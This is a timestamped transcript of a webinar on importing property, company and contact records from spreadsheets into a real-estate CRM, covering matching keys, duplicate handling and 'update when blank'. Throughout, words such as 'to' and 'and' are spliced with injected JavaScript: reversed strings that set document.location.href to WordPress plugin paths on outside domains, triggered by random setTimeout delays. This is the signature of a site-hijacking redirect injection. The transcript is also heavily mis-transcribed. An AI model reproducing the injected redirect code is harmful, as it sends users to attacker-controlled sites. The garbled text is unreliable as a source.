every time it imports a property its gonna check the property name

20:42

address toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and zip code toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and compare it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

20:46

mindless the properties in my database toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and if it finds a duplicate record

20:50

it what we import the property again it would just

20:53

import the space record still toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and link it toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the already existing property

20:58

so in this case we don’t already have property data in our database

21:02

so the first right row is gonna get imported it’s going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import Las Brisas

21:06

shopping center as

21:07

a property with suite 100 link toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to it

21:10

then the next time it imports gonna go toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and import Las Brisas shopping center

21:14

again

21:15

with sweet 400 link toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to it so it’ll find that that second time it goes toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to import

21:20

it will find that already existing property

21:22

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and match its toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the up already existing are

21:26

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the space that the one you import toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to match the tenant

21:29

a match that ended the space so you can import

21:33

intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a database that already has been populated with data

21:37

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and use the keys toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to have its search toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and make sure that you’re not important

21:41

duplicate information

21:42

seeking use the important not just those blue awaits you add new information toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

21:46

your database but can also be used as a way toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

21:48

update the already existing information your’re database

21:52

so it’s one thing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep in mind will actually talking about that in a future

21:55

webinar on this miniseries like exporting information

21:58

exporting/importing information intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to a database in order toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to clean it up scrub

22:02

the data in Excel toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and get it back in

22:05

so we wanna make sure basically comes out you wanna make sure that Marquis

22:08

for any record that are going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to be duplicated so

22:12

in this case the property is possibly can already be in our database

22:15

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and it might be in the spreadsheet multiple times but we know it is but

22:18

we’re gonna cheat in this case cover using a very small spreadsheet that

22:21

worry

22:22

vetted toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and know that worked perfectly maid outfits

22:26

so next of um machina skip the 10th right now just as I like toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to go from left

22:31

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to right

22:31

just my thing so many go from the property tab the owner tap

22:35

ever actually start sense rom the first contact

22:39

that we’re gonna be doing I like that star of on contact with actually the

22:42

company tap

22:43

anytime you’re importing a contact it’s gonna have two cats

22:47

1 per contact toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and one for company seek an avid import a company record toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and have

22:51

it linked back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the contact as well

22:54

so I like the star from the company tab for very specific reason

22:57

when you match the field on the company tab

23:04

it autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatically will copy over toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the

23:07

contact app his most the time your company

23:11

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and contactoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tor gonna have mostly the same information like usually have the

23:15

business address for your clients

23:18

so for the most part your clients are gonna be

23:21

I have the same information the Company address city state toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and zip code fields

23:26

as they’ll have on their contact details so those autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatically will copy over

23:31

when you

23:31

map fields for company will autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatically map would contact

23:36

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then we want toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to do the same thing for Kia menu company

23:39

address 1: toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and then zip code so that way

23:42

money import sim if I have the same company record in my database

23:47

it won’t imported toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and duplicate it more all times

23:50

it’ll just link each record toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to its appropriate contact

23:54

in the contacts I wanna finish filling out the other two fields the contact

23:58

form name

24:02

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the contacts email address now this brings up a question though a lot of the

24:06

times

24:07

contacts have up there’s two main ways the contacts are usually set up

24:12

I in spreadsheets I should say one Israel have one column

24:16

where the entire name is in one column for Mac

24:20

but it also could be where you have it split up intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to it separate fields

24:24

first name toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and lasting so when that’s the case

24:27

instead of using the full name column we do have separate fields for first name

24:31

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and last name

24:33

so it either way that you have those in your spreadsheet

24:38

it’s going toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to come intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the are you databases same way if you haven’t

24:41

separating the first toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and last name

24:43

it’ll autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatically combine those two you intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the full name field

24:46

if you have those field in one column in full name

24:49

it’ll autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tomatically split out the first name toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and last name intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the appropriate

24:53

fields

24:53

so just something toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep in mind when you’re doing import that’s something

24:56

that actually comes up quite a lot

24:58

up Sodus one thing toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to keep in mind

25:02

now going back toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the keys here is gonna go ahead toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and

25:06

matched up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to the contacts all name address

25:10

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and list is it again just for consistency sick

25:13

now like I said this naturally be used update your information are you a

25:17

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and that’s where this drop down menu comes in update existing records

25:21

so this determines what happens when it finds

25:25

a duplicate record in your database so

25:29

right now it’s set toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to where it finds a duplicate it’ll just completely ignore

25:33

the record in re: a it’ll still link appropriately

25:36

but it what update the record in the stretch

25:39

from spreadsheet intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to our yet now the other options were gonna not talk but he

25:44

only if thats

25:45

only Barry infrequently used in very specific times when you’re

25:49

importing %uh spreadsheet specifically toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to update records that were already from

25:55

RDA toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and even then

25:56

only in a very specific power so that

25:59

really falls outside the purview worth talking about what’s

26:02

but the other two options are definitely used pretty frequently

26:06

when blank is actually my go-toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to option up toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and what when Blake being

26:10

is that it all for each field ill check toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and see if that

26:14

field has a value in it so if like for example

26:18

were importing this toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and the owner matches 2009 we already have in our

26:21

spreadsheet

26:22

well if we have it set toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to one blank let’s say the email addresses in our

26:25

spreadsheet but it’s not already in our database

26:29

so when blank what that would do is it would updates the email address

26:33

only if there’s not already a value in our yet however for is a value in our EA

26:37

will just leave it alone so this is the safest method

26:40

while still pulling all the information possible

26:44

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and I say save this message method because spreadsheets

26:48

are have a tendency toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to not be the most pristine data in the world like I would

26:55

never trust

26:56

a spreadsheet that I didn’t create over the data that i’ve been importing intoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to

27:00

my are you a database

27:02

mentally so I go through what I have phone numbers toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and email addresses

27:05

Mike database pretty frequently when talking client toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to make sure that their

27:09

phone numbers are correct the email addresses the track

27:12

toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}and so if I do a data dump that might have the same attacks in there

27:16

